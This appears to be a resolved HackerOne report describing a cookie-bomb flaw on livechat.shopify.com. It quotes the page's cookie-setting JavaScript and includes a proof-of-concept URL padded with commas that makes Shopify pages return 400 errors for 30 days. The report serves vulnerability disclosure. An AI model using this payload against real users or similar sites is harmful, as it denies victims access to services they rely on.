[livechat.shopify.com] Cookie bomb at customer chats
Unknown
Vulnerability Details
When we visit the https://livechat.shopify.com/customer/chats/new page the **ref** and **ssid** URL parameters are used to set cookie values the way as follows:
> var getURLParameter = function(name) {
return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20'))||null;
}
> var brandedKeyword = function(ref) {
var match1 = new RegExp("((google|yahoo|bing)(.*)&?q=([^&]*)shopify)", "gi").test(ref);
return (match1);
}
> var ref = getURLParameter('ref');
var ssid = getURLParameter('ssid');
> if (ref && !brandedKeyword(document.referrer)) {
var days = 30;
var expire = new Date(today + days*1000*60*60*24);
setCookieWithExpiration('source', ref , expire);
if (ssid) {
setCookieWithExpiration('ssid', ssid , expire);
}
}
> var setCookieWithExpiration = function(key, value, expire) {
var match = document.location.hostname.match(/shopify\..*/)
var domain
if(match){
domain = '.' + match[0]
}
else {
domain = '.shopify.com'
}
document.cookie = key + "=" + escape(value) + ";path=/" +";expires=" + expire.toUTCString() + ';domain=' + domain;
};
As we can see, the values lengths are not taken into consideration:
> document.cookie = key + "=" + escape(value) + ";path=/" +";expires=" + expire.toUTCString() + ';domain=' + domain;
Furthermore, the **escape** function is used, which means a value consisting of special symbols will become three times longer. For example **,,,** will turn into **%2C**. That means an attacker can create a valid link of proper length accepted both by the browser and the server, which however will make the cookie too long, so after his victim visits this link, **https://livechat.shopify.com** will stop working for him for 30 days (and the other shopify pages as well, cause these cookies are set for the **.shopify.com** domain).
**PoC:**
1. Go to https://livechat.shopify.com/customer/chats/new?ref=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
2. Go to https://livechat.shopify.com/customer/chats/new — result: 400 error
3. Go to https://www.shopify.com/ — result: 400 error
4. Go to https://app.shopify.com/services/partners/auth/login — result: 400 error
Tested with Firefox 42.0.
Actions
View on HackerOneReport Stats
- Report ID: 105363
- State: Closed
- Substate: resolved
- Upvotes: 3